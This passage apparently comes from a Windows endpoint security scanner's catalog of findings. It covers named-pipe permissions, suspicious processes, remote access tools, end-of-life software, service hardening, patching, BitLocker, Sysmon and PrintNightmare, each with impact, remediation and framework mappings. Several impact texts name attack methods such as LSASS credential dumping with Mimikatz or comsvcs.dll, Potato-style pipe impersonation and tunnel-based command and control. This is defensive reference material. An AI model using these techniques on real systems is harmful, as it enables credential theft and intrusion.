PCI DSS 4: 2.2.1, 6.3.2
MEDIUM DR-PRIV-006 — Access Control: Named Pipe Permission Weakness
Description: Named pipes on this system have overly permissive access controls, allowing non-administrative users to read, write, or impersonate connections on pipes used by privileged services.
Impact: Improperly secured named pipes can be exploited for privilege escalation or lateral movement. An attacker can connect to a weakly-permissioned pipe to capture or relay authentication tokens, inject commands into service communication channels, or impersonate the pipe server's identity. Named pipe impersonation is a core technique in several Potato-family privilege escalation exploits.
Remediation: Audit named pipe ACLs using pipelist.exe (Sysinternals) and accesschk.exe. Restrict pipe permissions to the minimum required identities. Remove write/connect access for Authenticated Users and Everyone groups on privileged service pipes. Implement pipe security descriptors in service configurations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1570 (Lateral Movement)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.1.1
CRITICAL DR-PROC-001 — Process: Known Malicious Process Detected
Description: One or more running processes match known malicious software signatures in the threat intelligence database. This is a strong indicator of active system compromise requiring immediate incident response.
Impact: Known malicious processes indicate active malware execution. Depending on the malware type (RAT, keylogger, cryptominer, ransomware dropper), the attacker may have full remote access, be exfiltrating data, or preparing for destructive action. The system should be considered compromised.
Remediation: Immediately isolate the system from the network. Capture memory and disk images for forensic analysis before remediation. Identify the malware family and check for persistence mechanisms (scheduled tasks, services, registry run keys, WMI subscriptions). Re-image the system after forensics are complete.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059 (Execution), T1543 (Persistence)
NIST 800-53: SI-3, IR-4
PCI DSS 4: 5.2.1, 11.4.1
HIGH DR-PROC-002 — Process: Running from Temporary Directory
Description: One or more processes are executing from temporary directories (%TEMP%, %TMP%, C:\Windows\Temp). Legitimate software rarely runs from temp folders; this pattern is a strong indicator of malware, dropper activity, or exploitation payload execution.
Impact: Malware commonly stages and executes from temporary directories because they are user-writable, loosely monitored, and files there are expected to be transient. Ransomware droppers, fileless malware stagers, and post-exploitation payloads frequently use temp paths as their execution location.
Remediation: Investigate each process: check file hash against VirusTotal, examine parent process chain, check for associated network connections. Implement AppLocker or WDAC policies to block executable execution from temp directories. Enable Windows Defender ASR rules to block execution from temp paths.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1204 (Execution), T1036.005 (Defense Evasion)
NIST 800-53: CM-7, SI-3
PCI DSS 4: 5.2.1
MEDIUM DR-PROC-003 — Process: No Executable Path
Description: One or more running processes have no associated executable path on disk. This may indicate fileless malware executing entirely from memory, process hollowing, or a process whose binary was deleted after execution.
Impact: Processes without a disk-backed executable path can indicate fileless malware executing entirely from memory, process hollowing (where a legitimate process is replaced in memory with malicious code), or an attacker who deleted the binary after launching it to hinder forensic analysis.
Remediation: Investigate each process: capture a memory dump for forensic analysis, check the parent process chain for suspicious lineage, examine loaded DLLs and handles. Implement Sysmon with process creation logging (Event ID 1) to capture full command lines and parent process details.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1055 (Defense Evasion), T1620 (Defense Evasion)
NIST 800-53: SI-3, SI-4
PCI DSS 4: 5.2.1
CRITICAL DR-PROC-004 — Process: SYSTEM Process in User-Writable Path
Description: One or more processes are running as SYSTEM from user-writable locations (Users, AppData, Downloads, ProgramData, Temp). Legitimate SYSTEM processes run from protected directories (System32, Program Files). This is a strong indicator of privilege escalation or malware with elevated privileges.
Impact: A process running as SYSTEM from a user-writable directory indicates successful privilege escalation. The attacker has achieved the highest local privilege level and can install rootkits, create backdoor accounts, modify security settings, access any file on the system, and pivot to other systems.
Remediation: Immediately investigate: capture memory and disk forensics, identify the privilege escalation vector (service binary hijacking, DLL search order hijacking, unquoted service path). Fix the underlying vulnerability. Deploy WDAC/AppLocker to prevent execution from user-writable paths.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.001 (Privilege Escalation), T1574.010 (Persistence)
NIST 800-53: CM-5, AC-6
PCI DSS 4: 6.2.4
CISA KEV
HIGH DR-RMT-001 — Remote Access: Unauthorized RMT Detected
Description: A remote management tool (TeamViewer, AnyDesk, LogMeIn, ConnectWise, Splashtop, etc.) was detected that is not part of the organization's approved toolset.
Impact: Unauthorized remote access tools create unmonitored backdoors into the network. They bypass VPN, firewall, and network security controls by tunneling through standard HTTPS. Attackers frequently install these tools for persistent remote access.
Remediation: Remove unauthorized remote management tools and block their installation via application control policies. If the tool was installed by an attacker, initiate incident response. Maintain an approved remote access solution with centralized logging and multi-factor authentication.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1219 (Command and Control)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 6.3.2, 12.3.1
CISA KEV
MEDIUM DR-RMT-002 — Remote Desktop: RDP Enabled
Description: Remote Desktop Protocol (RDP) is enabled on this system. RDP exposes the system to brute-force attacks, credential stuffing, and known RDP vulnerabilities including BlueKeep (CVE-2019-0708) and DejaBlue.
Impact: An attacker who gains RDP access obtains full interactive control of the system. Without NLA, unauthenticated attackers can reach the login screen and exploit pre-authentication vulnerabilities.
Remediation: Disable RDP if not required. If required, enforce Network Level Authentication (NLA), restrict access via firewall rules to authorized IP ranges, use an RDP gateway, and enable account lockout policies.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: AC-17
PCI DSS 4: 12.3.1
CISA KEV
MEDIUM DR-RMT-003 — Service Hardening: WinRM Running
Description: Windows Remote Management (WinRM) is running on this system. WinRM allows remote command execution via PowerShell remoting and is a common lateral movement vector used by attackers.
Impact: An attacker with valid credentials can use WinRM to execute arbitrary commands remotely. If basic authentication or unencrypted traffic is allowed, credentials may be captured in transit.
Remediation: Disable WinRM if not required. If required, enforce HTTPS transport, disable basic authentication, configure TrustedHosts to restrict connections, and monitor WinRM event logs for unauthorized access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.006 (Lateral Movement)
NIST 800-53: AC-17, SC-8
PCI DSS 4: 8.3.1
MEDIUM DR-RMT-004 — Service Hardening: SSH Server Enabled
Description: An SSH server (OpenSSH) is running on this Windows system. SSH on Windows endpoints is uncommon and may indicate unauthorized installation, developer tools, or a persistence mechanism installed by an attacker.
Impact: SSH provides encrypted remote shell access that can be used for lateral movement, tunneling, and persistent access. On Windows endpoints, SSH is rarely business-justified and represents an additional attack surface.
Remediation: Disable the OpenSSH Server Windows feature if not required. If required, enforce key-based authentication, disable password login, and restrict access via firewall rules to authorized source IPs.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1021.004 (Lateral Movement)
NIST 800-53: AC-17
PCI DSS 4: 4.2.1
MEDIUM DR-RMT-005 — Service Hardening: Multiple RMT Tools
Description: The OpenSSH Server service is running on this Windows endpoint, providing SSH remote access.
Impact: OpenSSH on Windows provides command-line remote access. While potentially legitimate for administration, it adds an additional remote access vector that should be documented and monitored.
Remediation: If OpenSSH is authorized, ensure it is configured securely: disable root login, use key-based authentication, limit allowed users, and monitor SSH logs. If not authorized, disable the sshd service.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1219 (Command and Control), T1021 (Lateral Movement)
NIST 800-53: CM-7
PCI DSS 4: 12.3.1, 6.3.2
MEDIUM DR-SFT-001 — EOL Software: End-of-Life Software Installed
Description: Software that has reached end-of-life and no longer receives security updates is installed on this endpoint.
Impact: EOL software accumulates unpatched vulnerabilities over time with no vendor fixes available. Publicly known exploits continue to work indefinitely. This represents a permanent and growing security gap.
Remediation: Upgrade or replace end-of-life software with supported versions. If no replacement is available, implement compensating controls (network isolation, application whitelisting) and document the risk acceptance.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SA-22, SI-2
PCI DSS 4: 6.3.3
MEDIUM DR-SFT-002 — Software: Remote Access Software
Description: An installed software version is known to contain security vulnerabilities with available updates.
Impact: Running known-vulnerable software versions exposes the system to exploits targeting those specific vulnerabilities. Attackers routinely scan for known vulnerable software versions using automated tools.
Remediation: Update the software to the latest patched version. If updates are not immediately possible, implement compensating controls such as network segmentation and application-level monitoring. Prioritize based on CVSS score and network exposure.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1219 (Command and Control)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 6.3.3
HIGH DR-SFT-003 — Software: Suspicious Startup Item
Description: Development tools (compilers, debuggers, IDEs, scripting language interpreters beyond what the system requires) are installed on a production system.
Impact: Development tools enable an attacker to compile and run custom tools directly on the compromised system, create sophisticated payloads, and debug security controls. Their presence on production systems violates hardening baselines.
Remediation: Remove development tools from production systems. If development work is needed, use separate development environments. Document any exceptions with business justification and compensating controls.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1547.001 (Persistence)
NIST 800-53: SI-4, CM-3
PCI DSS 4: 2.2.4
MEDIUM DR-SFT-004 — Software: P2P/Torrent Software
Description: Software not included in the organization's approved software list was detected. This finding requires per-engagement policy configuration.
Impact: Unauthorized software may introduce vulnerabilities, licensing issues, or compliance violations. It may also indicate shadow IT or user-installed tools that bypass change management.
Remediation: Review unauthorized software with the system owner to determine if it should be added to the approved list or removed. Implement application control policies (AppLocker, WDAC) to prevent installation of unapproved software.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1105 (Command and Control)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 6.3.2
HIGH DR-SFT-005 — Software: Known Vulnerable Software Installed
Description: Installed software matches known vulnerable versions with published CVEs or documented security defects. These versions have public exploits or well-documented attack paths.
Impact: An attacker can exploit known vulnerabilities in installed software to gain unauthorized access, execute arbitrary code, or escalate privileges. Public exploit code and automated exploit frameworks (Metasploit, Nuclei) make exploitation straightforward.
Remediation: Update all identified software to the latest patched version. Where an update is not possible, implement compensating controls: restrict network access to the service, deploy WAF rules, enable exploit prevention features, and increase monitoring.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5, CM-8
PCI DSS 4: 6.3.3, 6.2.4
HIGH DR-SFT-006 — Service Hardening: High-Risk Services Running
Description: High-risk services are actively running, including services that transmit credentials in cleartext (Telnet), allow remote registry manipulation, or expose SNMP information with default community strings.
Impact: Telnet transmits all data including credentials in cleartext. Remote Registry allows attackers to read and modify registry settings remotely. SNMP with default community strings enables full network reconnaissance. FTP transmits credentials in cleartext.
Remediation: Disable unnecessary high-risk services. Replace Telnet with SSH. Replace SNMP v1/v2c with v3 using authentication and encryption. Disable Remote Registry unless required by a specific management tool.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: CM-7, SC-8, AC-17
PCI DSS 4: 2.2.4, 2.2.7
LOW DR-SFT-007 — Service Hardening: Unnecessary Services Running
Description: Unnecessary or legacy services are actively running. While individually low-risk, each running service expands the system's attack surface.
Impact: Legacy services like SSDP, UPnP, Computer Browser, and Telephony are rarely needed on servers and can be exploited for reconnaissance, denial of service, or as pivot points in chained attacks.
Remediation: Review each identified service and disable any that are not required for the system's operational role. Set unnecessary services to Disabled startup type.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
MEDIUM DR-SFT-008 — Service Hardening: Services Running Under User Accounts
Description: Services are running under domain or local user accounts rather than standard service accounts (LocalSystem, LocalService, NetworkService). These credentials are cached in memory and may have excessive privileges.
Impact: Service account credentials cached in LSASS memory are extractable via Mimikatz or comsvcs.dll MiniDump. If the service account has domain admin or other elevated privileges, compromising this host yields those credentials. Service accounts often have weak, non-rotating passwords.
Remediation: Migrate services to Group Managed Service Accounts (gMSA). For services requiring a user account: enforce minimum privileges, rotate passwords regularly, deny interactive logon, and exclude from privileged groups.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1003.001 (Credential Access)
NIST 800-53: AC-6, IA-5, AC-2
PCI DSS 4: 7.2.1, 8.6.1
HIGH DR-SFT-009 — Software: Network Tunnel or Bypass Tool Installed
Description: Network tunneling or overlay network software is installed. These tools create encrypted channels that can bypass firewall rules, IDS/IPS inspection, and network segmentation controls.
Impact: Tools like cloudflared, ngrok, ZeroTier, Tailscale, and Chisel create encrypted outbound tunnels that bypass perimeter security. An attacker can use them to establish persistent command-and-control channels or expose internal services to the internet without firewall approval.
Remediation: Remove unauthorized tunnel software. If operationally required (e.g., Cloudflare Tunnel), document the business justification, restrict access, and monitor. Block known tunnel endpoints at the firewall. Deploy application control policies.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1572 (Command and Control)
NIST 800-53: CM-7, SC-7, CM-11
PCI DSS 4: 1.2.1, 1.4.2
MEDIUM DR-SFT-010 — Software: Development or Diagnostic Tools on Production Server
Description: Development, diagnostic, or offensive security tools are installed on a production server. These tools lower the post-exploitation barrier by providing compilers, packet analyzers, or debuggers an attacker can use directly.
Impact: Installed compilers can build custom malware on-target. Packet analyzers capture credentials in transit. Debuggers dump process memory including cached credentials from LSASS. These tools eliminate the need for an attacker to upload their own tooling, avoiding endpoint detection.
Remediation: Remove development, diagnostic, and security tools from production servers. Development should occur in isolated environments. If tools are required operationally, document the justification and restrict access via file system ACLs.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1588.002 (Resource Development)
NIST 800-53: CM-7, CM-11
PCI DSS 4: 2.2.4
INFO DR-SFT-011 — Software: Software Installed Without Version Information
Description: Software packages are installed with no version information in the Windows registry. This prevents vulnerability assessment and may indicate manually installed, sideloaded, or malicious software.
Impact: Software without version metadata cannot be checked against vulnerability databases (CVE, NVD). Sideloaded applications and malware that registers itself in the Uninstall registry key often omit version data, making them invisible to patch management and vulnerability scanners.
Remediation: Investigate software with missing version information. Remove unauthorized or unrecognized software. Enforce software installation policies that require standard packaging with version metadata.
Effort: Easy
NIST 800-53: CM-8, CM-11
PCI DSS 4: 2.2.1
HIGH DR-SRV-001 — Authentication: SQL Server Mixed Authentication
Description: SQL Server is configured with mixed authentication mode, allowing both Windows and SQL Server authentication. SQL authentication transmits credentials that may be weaker and harder to audit than Windows/Kerberos authentication.
Impact: Mixed mode enables SQL logins (like 'sa') which are frequently targeted by brute-force attacks. SQL passwords are not subject to Active Directory password policies, may be stored in application config files, and bypass centralized authentication controls.
Remediation: Switch to Windows Authentication mode unless SQL authentication is strictly required. If mixed mode must remain, disable the 'sa' account, enforce strong passwords on all SQL logins, and enable SQL Server Audit for login events.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access), T1078.001 (Persistence)
NIST 800-53: IA-2, IA-5
PCI DSS 4: 8.3.1
MEDIUM DR-SRV-002 — Service Hardening: IIS Default Site
Description: IIS is running with the default web site active. The default site exposes server information, may serve default pages, and typically lacks application-specific hardening that production deployments require.
Impact: The default IIS site reveals the web server platform, may expose debug pages or sample applications, and often lacks proper access controls. Attackers use default sites to fingerprint the server and find known vulnerabilities.
Remediation: Remove or stop the 'Default Web Site' if it is not needed. For production sites, create named sites with specific bindings and remove all default content, sample applications, and documentation.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1082 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 8.3.1
CISA KEV
MEDIUM DR-SRV-003 — Service Hardening: Unnecessary Server Roles
Description: Server roles (DHCP, DNS, AD DS, Hyper-V, IIS, etc.) are installed on this workstation. Server roles on workstations expand the attack surface with services not intended for endpoint use.
Impact: Each server role introduces additional listening services, open ports, and potential vulnerabilities. On a workstation, these roles are rarely monitored or patched with the same rigor as production servers.
Remediation: Remove unnecessary server roles via Server Manager or DISM. Workstations should not run server infrastructure services unless specifically authorized and hardened.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1210 (Lateral Movement), T1543.003 (Persistence)
NIST 800-53: CM-7
PCI DSS 4: 8.6.1
MEDIUM DR-SRV-004 — Service Hardening: Web Server on Workstation
Description: A web server (IIS, Apache, Nginx, XAMPP, WAMP, etc.) is running on this workstation. Web servers on endpoints are often development installations with default configurations and no hardening.
Impact: Web servers on workstations are typically unmonitored, lack WAF protection, may expose sensitive development data, and are frequently misconfigured with directory listing, debug modes, or default credentials enabled.
Remediation: Remove web server software from workstations. Use dedicated servers or containerized development environments. If a local dev server is required, ensure it binds only to localhost (127.0.0.1).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-7
PCI DSS 4: 6.3.3
CISA KEV
HIGH DR-SYS-001 — EOL Software: End-of-Life Windows Version
Description: The Windows operating system version running on this endpoint has reached end-of-life and no longer receives security updates from Microsoft.
Impact: An attacker can exploit publicly disclosed vulnerabilities that will never be patched, leading to full system compromise. The organization also faces compliance violations as most frameworks require supported software.
Remediation: Upgrade the operating system to a currently supported version of Windows that receives regular security updates. For Windows Server environments, plan a migration path to Server 2019 or later. For desktop systems, upgrade to Windows 10 22H2 or Windows 11. Coordinate with application owners to verify compatibility before migration.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SA-22, SI-2, CM-6
PCI DSS 4: 6.3.3
CISA KEV
MEDIUM DR-SYS-002 — Patch Management: Missing Critical Updates
Description: The endpoint has critical or important security updates pending installation, leaving known vulnerabilities unpatched.
Impact: Attackers can exploit publicly known vulnerabilities with available patches. Delayed patching is one of the most common vectors for ransomware and lateral movement within enterprise networks.
Remediation: Install all pending critical and important security updates immediately. Configure Windows Update or WSUS to automatically download and install security updates on a regular schedule. Establish a patch management process with a maximum 30-day window for critical updates and 90 days for important updates.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1203 (Execution)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3
MEDIUM DR-SYS-003 — Patch Management: Windows Update Disabled
Description: The Windows Update service (wuauserv) is disabled or stopped, preventing automatic security update installation.
Impact: Without the update service running, the system will not receive security patches, accumulating vulnerabilities over time. This creates a growing attack surface that adversaries can exploit.
Remediation: Enable the Windows Update service by setting its startup type to Automatic and starting the service. Verify that Group Policy is not overriding this setting. If WSUS or SCCM is used for update management, ensure the client agent is properly configured and communicating with the update server.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: SI-2, CM-6
PCI DSS 4: 6.3.3
INFO DR-SYS-004 — Patch Management: WSUS Not Configured
Description: No Windows Server Update Services (WSUS) or equivalent centralized update management solution is configured for this endpoint.
Impact: Without centralized update management, there is no visibility into the patch compliance status of this endpoint. Updates depend on individual machine settings, making enterprise-wide patch compliance difficult to enforce and verify.
Remediation: Configure a centralized update management solution such as WSUS, SCCM, or Intune. Point this endpoint to the organization's WSUS server via Group Policy (Computer Configuration > Administrative Templates > Windows Components > Windows Update > Specify intranet Microsoft update service location).
Effort: Moderate
OWASP Web: A05:2021 - Security Misconfiguration
NIST 800-53: SI-2, CM-2
PCI DSS 4: 6.3.3
LOW DR-SYS-005 — Patch Management: System Uptime Exceeds 90 Days
Description: The system has been running for over 90 days without a reboot, which may indicate that kernel-level patches requiring a restart have not been applied.
Impact: Many Windows security updates require a system restart to take effect. Extended uptime suggests these updates have been downloaded but not fully installed, leaving kernel-level vulnerabilities unpatched.
Remediation: Schedule a maintenance window to restart the system and apply any pending updates that require a reboot. Establish a regular reboot schedule aligned with the organization's patch management cycle, typically monthly following Patch Tuesday.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A06:2021 - Vulnerable and Outdated Components
NIST 800-53: SI-2
PCI DSS 4: 6.3.3
MEDIUM DR-SYS-006 — Patch Management: No Backup Configured
Description: No Windows backup solution (Windows Server Backup, System Restore, or third-party backup) is configured on this endpoint.
Impact: Without backups, data loss from ransomware, hardware failure, or accidental deletion is unrecoverable. This significantly increases the business impact of any destructive attack or system failure.
Remediation: Configure Windows Server Backup or a third-party backup solution to perform regular system state and data backups. Store backups on a separate, isolated storage target. Test backup restoration procedures regularly to ensure recoverability.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1490 (Impact)
NIST 800-53: CP-9, CP-10
PCI DSS 4: 12.10.1
MEDIUM DR-SYS-007 — Patch Management: Last Backup Over 30 Days
Description: The most recent backup on this system is older than 30 days, indicating that backup jobs may have failed or been disabled.
Impact: A stale backup means up to 30+ days of data would be lost in a disaster recovery scenario. Critical business data, configuration changes, and system state captured after the last backup cannot be restored.
Remediation: Investigate why backups have not completed recently. Check backup job schedules, storage target availability, and backup service health. Resume regular backup operations and configure alerting for backup failures.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1490 (Impact)
NIST 800-53: CP-9
PCI DSS 4: 12.10.1
MEDIUM DR-SYS-008 — System Hardening: BitLocker Not Enabled
Description: BitLocker Drive Encryption is not enabled on one or more fixed drives, leaving data at rest unprotected.
Impact: If the device is stolen or a hard drive is physically removed, all data on unencrypted volumes is accessible without authentication. This includes cached credentials, local databases, documents, and application data.
Remediation: Enable BitLocker Drive Encryption on all fixed drives. Use TPM+PIN for pre-boot authentication where possible. Store recovery keys in Active Directory or a centralized key management solution. For systems without TPM, use USB key-based or password-based protectors.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1005 (Collection)
NIST 800-53: SC-28
PCI DSS 4: 3.5.1
INFO DR-SYS-009 — System Hardening: TPM Not Available
Description: No Trusted Platform Module (TPM) is available or the TPM is not in a ready state on this endpoint.
Impact: Without a functional TPM, hardware-rooted security features such as BitLocker with TPM-based protectors, Credential Guard, and Measured Boot cannot be used. The system must rely on software-only security mechanisms which are more susceptible to tampering.
Remediation: If the hardware supports TPM, enable it in the BIOS/UEFI firmware settings and initialize it through the TPM Management console (tpm.msc). For virtual machines, enable virtual TPM through the hypervisor. If the hardware does not support TPM, consider hardware replacement during the next refresh cycle.
Effort: Moderate
NIST 800-53: SC-28
PCI DSS 4: 3.5.1
MEDIUM DR-SYS-010 — System Hardening: Secure Boot Not Enabled
Description: UEFI Secure Boot is not enabled on this endpoint, allowing unsigned or tampered boot components to execute during system startup.
Impact: An attacker with physical access or kernel-level privileges can install a bootkit or rootkit that loads before the operating system, persisting across reinstalls and evading all OS-level security controls including antivirus and EDR.
Remediation: Enable Secure Boot in the system's UEFI firmware settings. Ensure the operating system was installed in UEFI mode (not legacy BIOS). Verify that all boot components (bootloader, kernel, drivers) are properly signed. Note that enabling Secure Boot on a legacy BIOS-installed system requires OS reinstallation in UEFI mode.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1542.003 (Persistence)
NIST 800-53: SI-7, CM-6
PCI DSS 4: 2.2.1
MEDIUM DR-SYS-011 — Monitoring: Sysmon Not Installed
Description: Sysmon (System Monitor) is not installed on this system. Sysmon provides detailed telemetry about process creation, network connections, file creation, registry modifications, WMI events, and other security-relevant activities that are essential for threat detection and incident response.
Impact: Without Sysmon, the system lacks granular visibility into process execution (with command lines and parent process chains), network connections per-process, file creation timestamps and hashes, registry modifications, WMI activity, and named pipe operations. This severely limits the ability to detect and investigate malicious activity, lateral movement, and persistence mechanisms. Native Windows event logs lack the detail that Sysmon provides.
Remediation: Install Sysmon from Microsoft Sysinternals: sysmon64.exe -accepteula -i sysmonconfig.xml. Use a community-maintained configuration such as SwiftOnSecurity/sysmon-config or olafhartong/sysmon-modular as a starting point. Key event types to enable: Process creation (Event 1), Network connection (Event 3), File creation (Event 11), Registry modification (Event 13), WMI events (Events 19-21). Forward Sysmon logs to a SIEM for detection and alerting.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1562.001 (Defense Evasion)
NIST 800-53: AU-2, AU-3, AU-12, SI-4
PCI DSS 4: 10.2.1, 10.6.1
CRITICAL DR-SYS-012 — Service Hardening: PrintNightmare Vulnerable
Description: The system is vulnerable to PrintNightmare (CVE-2021-34527 / CVE-2021-1675). The Print Spooler service is running AND the RestrictDriverInstallationToAdministrators registry key is not set to 1, or the NoWarningNoElevationOnInstall / UpdatePromptSettings Point-and-Print restriction keys are configured unsafely.
Impact: PrintNightmare allows any authenticated user (local or remote) to execute arbitrary code with SYSTEM privileges by exploiting the Print Spooler service's driver installation functionality. This vulnerability was actively exploited in the wild and provides reliable remote code execution. On domain controllers, it enables immediate domain compromise. Multiple exploit variants exist in public tooling.
Remediation: 1) Install all PrintNightmare patches (KB5004945 and later cumulative updates). 2) Set RestrictDriverInstallationToAdministrators=1: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f. 3) Set NoWarningNoElevationOnInstall=0 and UpdatePromptSettings=0 in the same key. 4) On servers that do not need printing, disable the Print Spooler service entirely: Stop-Service Spooler; Set-Service Spooler -StartupType Disabled. 5) On domain controllers, always disable Print Spooler.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1547.012 (Persistence)
NIST 800-53: CM-6, SI-2, AC-6
PCI DSS 4: 6.3.3, 2.2.1
CISA KEV
MEDIUM DR-SYS-013 — Network Hardening: DNS Zone Transfer Allowed
Description: The DNS server role is installed and zone transfers (AXFR) are allowed to any requestor, or are not restricted to specific secondary DNS servers. This allows any host to download the complete contents of DNS zones, including all hostnames, IP addresses, and service records.
Impact: Unrestricted DNS zone transfers expose the entire internal DNS namespace to any attacker who can reach the DNS server. This provides a complete map of internal hosts, services, domain controllers, and other infrastructure without triggering typical detection mechanisms. The information enables targeted attacks against specific systems and services identified through the zone data.
